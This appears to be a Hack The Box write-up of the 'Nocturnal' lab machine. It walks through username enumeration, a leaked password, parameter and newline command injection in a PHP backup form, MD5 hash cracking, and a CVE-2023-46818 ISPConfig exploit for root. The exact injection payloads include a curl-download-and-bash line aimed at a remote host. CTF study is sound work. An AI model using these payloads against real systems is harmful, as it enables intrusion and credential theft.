Machine Card showing Nocturnal as an easy Linux machine

Reconnaissance

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap discovered the redirect to nocturnal.htb on port 80 and therefore I add this to my /etc/hosts file.

Initial Access

Browsing to the web page at http://nocturnal.htb shows a welcome message to an upload service.

Web page for an upload service

The service allows me to register a new account. After logging in I’m facing a upload form and trying to upload a PHP file (since the app is built with PHP) shows an error message. Apparently the upload feature is restricted to pdf, doc, docx, xls, xls, odt.

Upload form after logging in

Uploading any file with a valid extension works and a link shows up under Your Files. It goes to /view.php and accepts the parameters username and file. Trying to access a non-existent file displays an error but also shows all the files associated with that username.

Page showing an error because the file does not exist and displays a list of available files

One of the features advertised for this service was related to collaboration and I might be able to list the files for other users if I can guess their username. With ffuf I’ll try to bruteforce valid usernames and find admin, tobias and amanda.

$ ffuf -H 'Cookie: PHPSESSID=oaq1ism6btk80da26l566bpg6m' \
       -u 'http://nocturnal.htb/view.php?username=FUZZ&file=doesnotexist.pdf' \
       -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt \
       -fs 2985
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=doesnotexist.pdf
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
 :: Header           : Cookie: PHPSESSID=oaq1ism6btk80da26l566bpg6m
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 2985
________________________________________________
 
admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 33ms]
amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 40ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 38ms]

Among those three users only amanda has a file uploaded. It’s called privacy.odt and might contain sensitive information. Opening the file reveals a message from the IT team to Amanda welcoming her and giving out the temporary password arHkG7HAI68X8s1J.

Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.

Yours sincerely,
Nocturnal's IT team

The password does not work via SSH but allows me to login to the web application as amanda. Apparently she’s part of the admin group and has access to the admin panel.

Admin panel for the web app

On there it’s possible to view the source of all the PHP files and create a password-protected backup. The code related to the backup feature in admin.php requires the POST parameters backup and password. The password is checked for any blacklisted characters to prevent injection and then used directly in a Bash command.

admin.php
<?php
session_start();
 
if (!isset($_SESSION['user_id']) || ($_SESSION['username'] !== 'admin' && $_SESSION['username'] !== 'amanda')) {
    header('Location: login.php');
    exit();
}
 
function sanitizeFilePath($filePath) {
    return basename($filePath); // Only gets the base name of the file
}
 
// List only PHP files in a directory
function listPhpFiles($dir) {
    $files = array_diff(scandir($dir), ['.', '..']);
    echo "<ul class='file-list'>";
    foreach ($files as $file) {
        $sanitizedFile = sanitizeFilePath($file);
        if (is_dir($dir . '/' . $sanitizedFile)) {
            // Recursively call to list files inside directories
            echo "<li class='folder'>📁 <strong>" . htmlspecialchars($sanitizedFile) . "</strong>";
            echo "<ul>";
            listPhpFiles($dir . '/' . $sanitizedFile);
            echo "</ul></li>";
        } else if (pathinfo($sanitizedFile, PATHINFO_EXTENSION) === 'php') {
            // Show only PHP files
            echo "<li class='file'>📄 <a href='admin.php?view=" . urlencode($sanitizedFile) . "'>" . htmlspecialchars($sanitizedFile) . "</a></li>";
        }
    }
    echo "</ul>";
}
 
// View the content of the PHP file if the 'view' option is passed
if (isset($_GET['view'])) {
    $file = sanitizeFilePath($_GET['view']);
    $filePath = __DIR__ . '/' . $file;
    if (file_exists($filePath) && pathinfo($filePath, PATHINFO_EXTENSION) === 'php') {
        $content = htmlspecialchars(file_get_contents($filePath));
    } else {
        $content = "File not found or invalid path.";
    }
}
 
function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
 
    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }
 
    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
 
 
?>
 
// --- SNIP ---
 
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
 
    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';
       
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
        
        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];
 
        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }
 
        sleep(2);
 
        $logContents = file_get_contents($logFile);
        if (strpos($logContents, 'zip error') === false) {
            echo "<div class='backup-success'>";
            echo "<p>Backup created successfully.</p>";
            echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
            echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
            echo "</div>";
        } else {
            echo "<div class='error-message'>Error creating the backup.</div>";
        }
 
        unlink($logFile);
    }
}
?>
 
// --- SNIP ---

The source code in login.php reveals the location of the SQLite3 database in use.

In a previous version the database was located alongside the scripts and could be downloaded via the backup directly.

login.php
<?php
session_start();
$db = new SQLite3('../nocturnal_database/nocturnal_database.db');
 
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];
 
    $stmt = $db->prepare("SELECT * FROM users WHERE username = :username");
    $stmt->bindValue(':username', $username, SQLITE3_TEXT);
    $result = $stmt->execute()->fetchArray();
 
    if ($result && md5($password) === $result['password']) {
        $_SESSION['user_id'] = $result['id'];
        $_SESSION['username'] = $username;
        header('Location: dashboard.php');
        exit();
    } else {
        $error = 'Invalid username or password.';
    }
}
?>
// --- SNIP ---

Even though the supplied password is checked for several different characters, it’s still possible inject parameters into the ZIP command. Instead of using space to separate values a tab can be used. This way I can include arbitrary files into the backup, like the database.

Setting the value of the password parameter to test ./backups/ryuki.zip ../nocturnal_database/nocturnal_database.db # creates a new ZIP file with just the database, protected by test, and then comments out the rest of the original command.

POST /admin.php?view=admin.php HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Origin: http://nocturnal.htb
Connection: keep-alive
Referer: http://nocturnal.htb/admin.php?view=admin.php
Cookie: PHPSESSID=rr65d0nv4du1s7c20oi6i8s9k5
Upgrade-Insecure-Requests: 1
Priority: u=0, i

password=test	./backups/ryuki.zip	../nocturnal_database/nocturnal_database.db	%23&backup=

Burp Suite showing the output of the ZIP command

Hint

Instead of injecting parameters into the ZIP command, it’s also possible to run additional Bash commands by using a newline (%0a).

password=%0acurl	http://10.10.10.10/shell	-o	/tmp/shell#&backup=
password=%0abash	/tmp/shell#&backup=

Downloading the backup from /backups/ryuki.zip and unzipping it with the password test works. Checking the database with sqlite3 shows two tables with one being users and containing the usernames and passwords of all registered users.

$ sqlite3 nocturnal_database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
uploads  users  
sqlite> select * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|ryuki|cd1b8ecf103743a98958211a11e33b71

With the help of john the hash for tobias cracks rather quickly and returns slowmotionapocalypse as the cleartext password. This time the password works for SSH and I can read the first flag.

$ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt --fork=10 hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Node numbers 1-10 of 10 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
slowmotionapocalypse (?)
--- SNIP ---

Privilege Escalation

Browsing the file system at /var/www shows references to ISPConfig and there seems to be a PHP server running on port 8080.

$ ls -la /var/www/
total 20
drwxr-xr-x  5 ispconfig ispconfig 4096 Mar  4 15:02 .
drwxr-xr-x 14 root      root      4096 Oct 18 00:00 ..
drwxr-xr-x  2 root      root      4096 Mar  4 15:02 html
lrwxrwxrwx  1 root      root        34 Oct 17 02:37 ispconfig -> /usr/local/ispconfig/interface/web
drwxr-xr-x  4 www-data  www-data  4096 Apr 13 15:20 nocturnal.htb
drwxr-xr-x  4 ispconfig ispconfig 4096 Oct 17 01:29 php-fcgi-scripts
 
$ ps auxwwww
--- SNIP ---
root         973  0.0  0.6 211568 27008 ?        Ss   14:38   0:00 /usr/bin/php -S 127.0.0.1:8080
--- SNIP ---

Forwarding the port via SSH and accessing the port via a browser returns the login prompt to ISPConfig. The password for tobias is also valid for the admin user and I can access the dashboard.

Login prompt to ISPConfig

The help reveals that version 3.2.10p1 is in use and a simple online search finds the vulnerability CVE-2023-46818 and a working PoC. Running the Python script while supplying the URL and the credentials drops me right into a pseudo-shell as root.

python3 exploit.py http://127.0.0.1:8000 admin slowmotionapocalypse
[+] Target URL: http://127.0.0.1:8000/
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell
 
ispconfig-shell# whoami
root

Attack Path

flowchart TD

subgraph "Initial Access"
	A(Access to Upload Service) -->|Enumerate valid users| B(List of users)
	B -->|Check for uploaded files| C(Document with initial password)
	C -->|Valid Credentials| D(Access to Admin Dashboard)
	D -->|Paramater Injection| E(Backup Database)
	D -->|Command Injection| G(Shell as www-data)
	E -->|Crack Hashes| F(Shell as tobias)
	G -->|Exfiltrate database| E
end

subgraph "Privilege Escalation"
	F -->|Password Reuse| H(Access to ISPConfig)
	H -->|CVE-2023-46818| I(Shell as root)
end